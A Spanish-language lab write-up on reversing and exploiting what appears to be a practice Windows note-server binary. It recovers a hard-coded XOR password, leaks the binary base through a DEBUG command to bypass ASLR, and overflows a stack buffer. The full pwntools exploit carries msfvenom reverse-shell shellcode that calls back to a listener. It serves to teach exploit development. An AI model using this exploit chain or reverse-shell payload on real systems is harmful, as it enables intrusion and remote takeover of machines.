Reversing
Al ejecutar el binario muestra que se ha creado un directorio llamado NOTES
y que se inició un servidor en el puerto 1337
por lo que se deberia haber iniciado un listener
PS C:\Users\user\Desktop> .\RemoteNoteKeeper.exe
[*] Directory "NOTES" created or already exists.
[+] Server listening on port 1337...
Al conectarnos al puerto tenemos varios comandos interesantes, con NOTE
y un argumento podemos escribir un .txt
con el argumento como contenido, con LIST
podemos listar las notas .txt
existentes y con READ
y el indice podemos leerlas
❯ netcat 192.168.100.5 1337
___ _ _ _ _ _ __
| _ \___ _ __ ___| |_ ___ | \| |___| |_ ___ | |/ /___ ___ _ __ ___ _ _
| / -_) ' \/ _ \ _/ -_) | .` / _ \ _/ -_) | ' </ -_) -_) '_ \/ -_) '_|
|_|_\___|_|_|_\___/\__\___| |_|\_\___/\__\___| |_|\_\___\___| .__/\___|_|
|_|
Available commands:
- NOTE <text>: This stores your input text as a note on the remote server
- READ <index>: This reads the specified note from the remote server
- LIST: This lists your notes
- EXIT: Leave the Remote Note Keeper Application
> NOTE AAAAAAAA
> LIST
Files in the Notes directory:
NOTE_1.txt
> READ 1
AAAAAAAA
>
Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg
Si miramos los detalles del módulo podemos ver que contiene la protección ASLR
por lo que la dirección base del binario deberia cambiar después de cada reinicio
0:000> !py mona modules -m RemoteNoteKeeper.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules -m RemoteNoteKeeper.exe
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules RemoteNoteKeeper.exe
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename
----------------------------------------------------------------------------------------------------------------------------
0x009b0000 | 0x009b7000 | 0x00007000 | True | True | True | False | False | False | -1.0- [RemoteNoteKeeper.exe]
----------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
Abrimos el programa en ida
, La función main
inicia llamando a una función que renombramos como notes
y a una función server
, las analizaremos después pero digamos que devuelve un descriptor, si es un descriptor válido salta al bloque de la izquierda que llama a la función accept
para recibir una conexión entrante
La función notes es muy sencilla, llama a la función CreateDirectoryA
para crear el directorio NOTES
y muestra un mensaje que vimos en el inicio al ejecutar el programa
La función server
inicia llamando a la función WSAStartup
para inicializar winsock y luego llama a la función socket
para crear un socket y este devuelve un descriptor
Ahora utiliza htons
para darle formato al puerto 1337
y posteriormente llamar a bind
y listen
para ponerse en escucha de conexiones entrantes en ese puerto
Luego de llamar a accept
si sale bien llama a la función beginthread
para crear un hilo por cada conexión que ejecuta la función StartAddress
pasandole el descriptor
La función StartAddress
que recibe el descriptor inicia llamando a la función printf
para mostrar en la consola la dirección y puerto de donde se recibió la conexión
Luego envia con send
un prompt que es el caracter >
y recibe un total de 0x1000
bytes a través de la función recv
, esto lo almacena en un buffer y realiza un salto
Si el buffer es mayor a 0
muestra con printf
que se se recibieron datos del cliente, luego compara los primeros 4
bytes del buffer con EXIT
llamando a strncmp
, si es igual salta a la linea roja de lo contrario a la verde, entonces seguimos la verde
Si no es EXIT
compara los 4
bytes con LIST
, nuevamente si es igual salta a la linea roja si no es igual compara los primeros 5
bytes con NOTE
, si se cumple la primera comparación llama a una función que llamamos lister
que ya sabemos que hace, si se cumple la segunda llama a annotator
que será donde profundizaremos
La función annotator
inicia definiendo el inicio, el final y el tamaño, luego compara el tamaño con 0xfff
o 4095
, si es menor o igual saltará al bloque de la linea verde
En el bloque llama a memcpy
que lo que hace es copiar el contenido de la nota en el buffer en ebp - 4076
, luego de eso lo guarda en un archivo .txt
, aqui tenemos la primera vulnerabilidad ya que el buffer soporta menos de los datos que se reciben
Volvemos a StartAddress
, en el caso que los primeros 5
bytes sean iguales a DEBUG
llama a la función strtok
y posteriormente a auth
pasandole como parámetro el argumento de DEBUG
, si la comparación es correcta llama a la función leak
La función auth
inicia estableciendo un array de valores que es la contraseña cifrada, además 3
caracteres que utiliza como key que corresponden a la string nop
, además declara una variable password en 0
y algunas más renombradas
Luego inicia un bucle por cada uno de los valores del array, en cada iteración obbtiene el modulo i % 3
utilizando idiv
y lo utiliza como un índice para tomar un caracter de la key, realiza una operación xor
con el valor actual y el caractér correspondiente, finalmente almacena el resultado en un nuevo array al que llamaremos expected
Entonces podemos crear un script en python
que itere en cada uno de los valores del array y realize el proceso xor
sobre el carácter actual y la key en la posición del modulo de i % 3
, al ejecutarlo nos muestra la contraseña original que podemos usar
#!/usr/bin/python3
password = [11, 23, 0, 93, 95, 65, 7, 28, 22, 27, 1]
key = "nop"
expected = ""
for i in range(len(password)):
character = chr(password[i] ^ ord(key[i % 3]))
expected += character
print(expected)
❯ python3 decoder.py
exp301isfun
Vamos con la función leak
, esta crea un archivo DEBUG.txt
y guarda un par de cosas como el nombre del equipo y nombre de usuario actuales que obtiene con funciones de winapi
, en este caso con GetComputerNameA
y GetUserNameA
respectivamente
Luego obtiene el proceso actual con GetCurrentProcess
y obtiene una lista de todos los módulos cargados en el proceso actual llamando a K32EnumProcessModules
Entonces, por cada uno de los módulos escribe en el archivo el nombre del módulo y su dirección base en el formato 0x%08X
, esto sirve como un leak de la base del binario
Nos conectamos, utilizamos la función DEBUG
pasandole la contraseña y una vez se creo el .txt
podemos leer el archivo y de esta forma obtenemos un leak de la dirección base del binario que nos servirá para bypassear el ASLR
que está activo
❯ netcat 192.168.100.5 1337
___ _ _ _ _ _ __
| _ \___ _ __ ___| |_ ___ | \| |___| |_ ___ | |/ /___ ___ _ __ ___ _ _
| / -_) ' \/ _ \ _/ -_) | .` / _ \ _/ -_) | ' </ -_) -_) '_ \/ -_) '_|
|_|_\___|_|_|_\___/\__\___| |_|\_\___/\__\___| |_|\_\___\___| .__/\___|_|
|_|
Available commands:
- NOTE <text>: This stores your input text as a note on the remote server
- READ <index>: This reads the specified note from the remote server
- LIST: This lists your notes
- EXIT: Leave the Remote Note Keeper Application
> DEBUG exp301isfun
> LIST
Files in the Notes directory:
DEBUG.txt
> READ DEBUG
[*] Computer Name: WINDOWS
[*] User Name: user
[*] Loaded Modules:
C:\Users\user\Desktop\RemoteNoteKeeper.exe (Base Address: 0x009B0000)
C:\Windows\SYSTEM32\ntdll.dll (Base Address: 0x77870000)
C:\Windows\System32\KERNEL32.DLL (Base Address: 0x75DC0000)
C:\Windows\System32\KERNELBASE.dll (Base Address: 0x771F0000)
C:\Windows\System32\ADVAPI32.dll (Base Address: 0x758B0000)
C:\Windows\System32\msvcrt.dll (Base Address: 0x76600000)
C:\Windows\System32\sechost.dll (Base Address: 0x776B0000)
C:\Windows\System32\bcrypt.dll (Base Address: 0x75930000)
C:\Windows\System32\RPCRT4.dll (Base Address: 0x754A0000)
C:\Windows\System32\WS2_32.dll (Base Address: 0x76FD0000)
C:\Windows\System32\ucrtbase.dll (Base Address: 0x77740000)
C:\Windows\SYSTEM32\VCRUNTIME140.dll (Base Address: 0x75420000)
C:\Windows\system32\mswsock.dll (Base Address: 0x72FC0000)
C:\Windows\SYSTEM32\kernel.appcore.dll (Base Address: 0x73960000)
C:\Windows\SYSTEM32\SspiCli.dll (Base Address: 0x739E0000)
>
Explotación
Iniciaremos nuestro exploit automatizando el proceso anterior en un script de python
, de esta forma obtenemos la dirección base del binario que utilizaremos más adelante
#!/usr/bin/python3
from pwn import remote, log
shell = remote("192.168.100.5", 1337)
shell.sendlineafter(b"> ", b"DEBUG exp301isfun")
shell.sendlineafter(b"> ", b"READ DEBUG")
binary_base = int(shell.recvline_contains(b"RemoteNoteKeeper.exe")[-11:-1], 16)
log.info(f"Binary base: {hex(binary_base)}")
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 1337: Done
[*] Binary base: 0x9b0000
[*] Closed connection to 192.168.100.5 port 1337
Vamos con la vulnerabilidad real, en la función NOTE
sabemos que hay un buffer overflow, enviamos 4076 A's
para rellenar el buffer antes de ebp, 4 B's
que será el valor de ebp
en el leave
y 4 C's
que tomarán el valor del return address, finalmente algunas D's
que se deberian almacenar en el stack si todo sale bien
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.100.5", 1337)
payload = b""
payload += b"NOTE "
payload += b"A" * 4076
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 48
shell.sendafter(b"> ", payload)
Enviamos el exploit pero encontramos un problema y aunque lo primero es correcto y tenemos el offset al return address, debido a la limitación de espacio en el stack solo encontramos 7 D's
representadas en el stack que no es un espacio suficiente para guardar un shellcode en el stack y saltar a el con un gadget jmp esp
o similar
0:000> g
(26b8.1fe8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00a47fb8 ecx=00dbdb48 edx=77844334 esi=009b1ce0 edi=00a47fb8
eip=43434343 esp=00dbebb8 ebp=42424242 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
0:000> db esp
0158ed8c 44 44 44 44 44 44 44 45-20 41 41 41 41 41 41 41 DDDDDDDE AAAAAAA
0158ed9c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0158edac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0158edbc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0158edcc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0158eddc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0158edec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0158edfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Lo interesante está cuando no sobrescribimos valores después del return address
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.100.5", 1337)
payload = b""
payload += b"NOTE "
payload += b"A" * 4076
payload += b"B" * 4
payload += b"C" * 4
shell.sendafter(b"> ", payload)
Cuando se corrompe el programa en el stack está almacenado un puntero al inicio del buffer, entonces podríamos ejecutar un gadget ret
que ejecutará lo que esté en esa dirección y como apunta al inicio serian nuestras A's
donde enviaremos un shellcode
0:000> g
(26b8.1fe8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00a47fb8 ecx=00dbdb48 edx=77844334 esi=009b1ce0 edi=00a47fb8
eip=43434343 esp=00dbebb8 ebp=42424242 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
0:000> db poi(esp)
00dbebc1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbebd1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbebe1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbebf1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbec01 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbec11 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbec21 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00dbec31 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Para buscar el gadget podemos usar ropper
indicando que la dirección base es 0
ya que tenemos el ASLR activo y necesitamos sumar la dirección base obtenida antes
❯ ropper --file RemoteNoteKeeper.exe --search "ret;" -I 0x0
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret;
[INFO] File: RemoteNoteKeeper.exe
0x00001009: ret;
Ya que tenemos la estratégia solo nos queda crear un shellcode con msfvenom
, en este caso crearemos uno que nos envie una revshell en caso de que se ejecute
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xcb\x6e\xb3\xbf\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x37\x86\x31\xbf\xc7\x57\x56\x49"
shellcode += b"\x22\x66\x56\x2d\x27\xd9\x66\x25\x65\xd6\x0d"
shellcode += b"\x6b\x9d\x6d\x63\xa4\x92\xc6\xce\x92\x9d\xd7"
shellcode += b"\x63\xe6\xbc\x5b\x7e\x3b\x1e\x65\xb1\x4e\x5f"
shellcode += b"\xa2\xac\xa3\x0d\x7b\xba\x16\xa1\x08\xf6\xaa"
shellcode += b"\x4a\x42\x16\xab\xaf\x13\x19\x9a\x7e\x2f\x40"
shellcode += b"\x3c\x81\xfc\xf8\x75\x99\xe1\xc5\xcc\x12\xd1"
shellcode += b"\xb2\xce\xf2\x2b\x3a\x7c\x3b\x84\xc9\x7c\x7c"
shellcode += b"\x23\x32\x0b\x74\x57\xcf\x0c\x43\x25\x0b\x98"
shellcode += b"\x57\x8d\xd8\x3a\xb3\x2f\x0c\xdc\x30\x23\xf9"
shellcode += b"\xaa\x1e\x20\xfc\x7f\x15\x5c\x75\x7e\xf9\xd4"
shellcode += b"\xcd\xa5\xdd\xbd\x96\xc4\x44\x18\x78\xf8\x96"
shellcode += b"\xc3\x25\x5c\xdd\xee\x32\xed\xbc\x66\xf6\xdc"
shellcode += b"\x3e\x77\x90\x57\x4d\x45\x3f\xcc\xd9\xe5\xc8"
shellcode += b"\xca\x1e\x09\xe3\xab\xb0\xf4\x0c\xcc\x99\x32"
shellcode += b"\x58\x9c\xb1\x93\xe1\x77\x41\x1b\x34\xd7\x11"
shellcode += b"\xb3\xe7\x98\xc1\x73\x58\x71\x0b\x7c\x87\x61"
shellcode += b"\x34\x56\xa0\x08\xcf\x31\x0f\x64\xab\x88\xe7"
shellcode += b"\x77\x33\x0a\x43\xfe\xd5\x66\xa3\x57\x4e\x1f"
shellcode += b"\x5a\xf2\x04\xbe\xa3\x28\x61\x80\x28\xdf\x96"
shellcode += b"\x4f\xd9\xaa\x84\x38\x29\xe1\xf6\xef\x36\xdf"
shellcode += b"\x9e\x6c\xa4\x84\x5e\xfa\xd5\x12\x09\xab\x28"
shellcode += b"\x6b\xdf\x41\x12\xc5\xfd\x9b\xc2\x2e\x45\x40"
shellcode += b"\x37\xb0\x44\x05\x03\x96\x56\xd3\x8c\x92\x02"
shellcode += b"\x8b\xda\x4c\xfc\x6d\xb5\x3e\x56\x24\x6a\xe9"
shellcode += b"\x3e\xb1\x40\x2a\x38\xbe\x8c\xdc\xa4\x0f\x79"
shellcode += b"\x99\xdb\xa0\xed\x2d\xa4\xdc\x8d\xd2\x7f\x65"
shellcode += b"\xbd\x98\xdd\xcc\x56\x45\xb4\x4c\x3b\x76\x63"
shellcode += b"\x92\x42\xf5\x81\x6b\xb1\xe5\xe0\x6e\xfd\xa1"
shellcode += b"\x19\x03\x6e\x44\x1d\xb0\x8f\x4d\x1d\x36\x70"
shellcode += b"\x6e"
El exploit inicia obteniendo la base del binario a través del leak con la función DEBUG
, esto para evitar el ASLR
, luego creará una nota con NOTE
la cual inicia con el shellcode, luego rellena con A's
hasta el offset del return address y en él ejecutará un ret
que retornará al inicio del buffer donde ejecuta el shellcode de la revshell
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("192.168.100.5", 1337)
shell.sendlineafter(b"> ", b"DEBUG exp301isfun")
shell.sendlineafter(b"> ", b"READ DEBUG")
binary_base = int(shell.recvline_contains(b"RemoteNoteKeeper.exe")[-11:-1], 16)
shellcode = b""
shellcode += b"\xfc\xbb\xcb\x6e\xb3\xbf\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x37\x86\x31\xbf\xc7\x57\x56\x49"
shellcode += b"\x22\x66\x56\x2d\x27\xd9\x66\x25\x65\xd6\x0d"
shellcode += b"\x6b\x9d\x6d\x63\xa4\x92\xc6\xce\x92\x9d\xd7"
shellcode += b"\x63\xe6\xbc\x5b\x7e\x3b\x1e\x65\xb1\x4e\x5f"
shellcode += b"\xa2\xac\xa3\x0d\x7b\xba\x16\xa1\x08\xf6\xaa"
shellcode += b"\x4a\x42\x16\xab\xaf\x13\x19\x9a\x7e\x2f\x40"
shellcode += b"\x3c\x81\xfc\xf8\x75\x99\xe1\xc5\xcc\x12\xd1"
shellcode += b"\xb2\xce\xf2\x2b\x3a\x7c\x3b\x84\xc9\x7c\x7c"
shellcode += b"\x23\x32\x0b\x74\x57\xcf\x0c\x43\x25\x0b\x98"
shellcode += b"\x57\x8d\xd8\x3a\xb3\x2f\x0c\xdc\x30\x23\xf9"
shellcode += b"\xaa\x1e\x20\xfc\x7f\x15\x5c\x75\x7e\xf9\xd4"
shellcode += b"\xcd\xa5\xdd\xbd\x96\xc4\x44\x18\x78\xf8\x96"
shellcode += b"\xc3\x25\x5c\xdd\xee\x32\xed\xbc\x66\xf6\xdc"
shellcode += b"\x3e\x77\x90\x57\x4d\x45\x3f\xcc\xd9\xe5\xc8"
shellcode += b"\xca\x1e\x09\xe3\xab\xb0\xf4\x0c\xcc\x99\x32"
shellcode += b"\x58\x9c\xb1\x93\xe1\x77\x41\x1b\x34\xd7\x11"
shellcode += b"\xb3\xe7\x98\xc1\x73\x58\x71\x0b\x7c\x87\x61"
shellcode += b"\x34\x56\xa0\x08\xcf\x31\x0f\x64\xab\x88\xe7"
shellcode += b"\x77\x33\x0a\x43\xfe\xd5\x66\xa3\x57\x4e\x1f"
shellcode += b"\x5a\xf2\x04\xbe\xa3\x28\x61\x80\x28\xdf\x96"
shellcode += b"\x4f\xd9\xaa\x84\x38\x29\xe1\xf6\xef\x36\xdf"
shellcode += b"\x9e\x6c\xa4\x84\x5e\xfa\xd5\x12\x09\xab\x28"
shellcode += b"\x6b\xdf\x41\x12\xc5\xfd\x9b\xc2\x2e\x45\x40"
shellcode += b"\x37\xb0\x44\x05\x03\x96\x56\xd3\x8c\x92\x02"
shellcode += b"\x8b\xda\x4c\xfc\x6d\xb5\x3e\x56\x24\x6a\xe9"
shellcode += b"\x3e\xb1\x40\x2a\x38\xbe\x8c\xdc\xa4\x0f\x79"
shellcode += b"\x99\xdb\xa0\xed\x2d\xa4\xdc\x8d\xd2\x7f\x65"
shellcode += b"\xbd\x98\xdd\xcc\x56\x45\xb4\x4c\x3b\x76\x63"
shellcode += b"\x92\x42\xf5\x81\x6b\xb1\xe5\xe0\x6e\xfd\xa1"
shellcode += b"\x19\x03\x6e\x44\x1d\xb0\x8f\x4d\x1d\x36\x70"
shellcode += b"\x6e"
offset = 4080
junk = b"A" * (offset - len(shellcode))
payload = b""
payload += b"NOTE "
payload += shellcode
payload += junk
payload += p32(binary_base + 0x1009) # ret;
shell.sendafter(b"> ", payload)
Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 1337: Done
[*] Closed connection to 192.168.100.5 port 1337
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 51565
Microsoft Windows [Versión 10.0.22621.4317]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\> whoami
windows\user
C:\>